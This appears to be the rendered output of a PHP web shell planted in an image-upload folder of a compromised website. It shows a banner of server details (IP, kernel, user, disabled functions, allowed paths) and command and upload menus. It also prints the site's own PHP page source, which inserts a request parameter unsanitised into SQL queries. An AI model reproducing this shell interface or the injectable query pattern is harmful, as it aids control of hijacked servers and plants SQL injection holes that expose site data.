|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/loginForm/scss/../js/../../admin/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo $config['web_title'];?></title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<?php
include ("head-script.php");
include ("Connections/function-sys.php");
include ("Connections/db.class.php");
$db = new sql($config['db_server'], $config['db_username'], $config['db_password'], $config['db_name'], $config['db_language']);
?>
</head>
<body>
<?php
include ("nav-bar.php");
include ("PictureHeader.php");
?>
<section class="ftco-section contact-section">
<div class="container">
<div class="row" style="min-height: 450px;">
<!-- Start -->
<?php
$page_data="$_REQUEST[page_data]";
$sql2="update page_data set aOpen=aOpen+1 where page_data='$page_data' ";
$db->query($sql2);
$sql="select page_data.* from page_data where page_data='$page_data' ";
$arr=$db->getRec($sql);
if($page_data==8){$arr[aName]="";}
echo <<<DOC
<TABLE width="100%" align="center">
<TR>
<TD style="font-size: 14px;">
<!-- <strong style="font-size: 18px;font-weight: bold;"><br>$arr[aName]</strong><BR> -->
<div style="font-size: 14px;">$arr[aDesc]<div>
</TD>
</TR>
</TABLE>
<BR>
DOC;
$sql2 = "select page_data_img.* from page_data_img where page_data_img.aID='$arr[aID]'
order by page_data_img.aNo,page_data_img.aID ";
$RowRec=$db->recCount($sql2);
if($RowRec>0){
foreach ($db->dbSearch($sql2) as $i=>$row) {
if(!empty($row[Img1])){
$img[$i]="admin/images/News/$row[Img1]";
$imgDesc[$i]=$row[iName];
}
}
echo "<TABLE width=85% align=center>";
$k=1;
for($j=0;$j<=$i;$j++){
if($j%3==0){echo "</TR><TR align=center>";}
$IMG=$img[$j];
$IMGDesc=$imgDesc[$j];
echo <<<DOC
<TD>
<a href="$IMG" rel="example_group" titte="$IMGDesc" target="img"><IMG SRC="$IMG" class="img-thumbnail" width="250" height="182" border="1" style="border: 1px solid #ccc; padding: 5px;border-radius: 3px;"></a>
<BR><BR>
</TD>
DOC;
$k++;
}
echo <<<DOC
</TR>
</TABLE>
<br style="clear: both;" />
DOC;
}
?>
<!-- Stop -->
</div>
</div>
</section>
<?php
include ("footer.php");
?>
</body>
</html>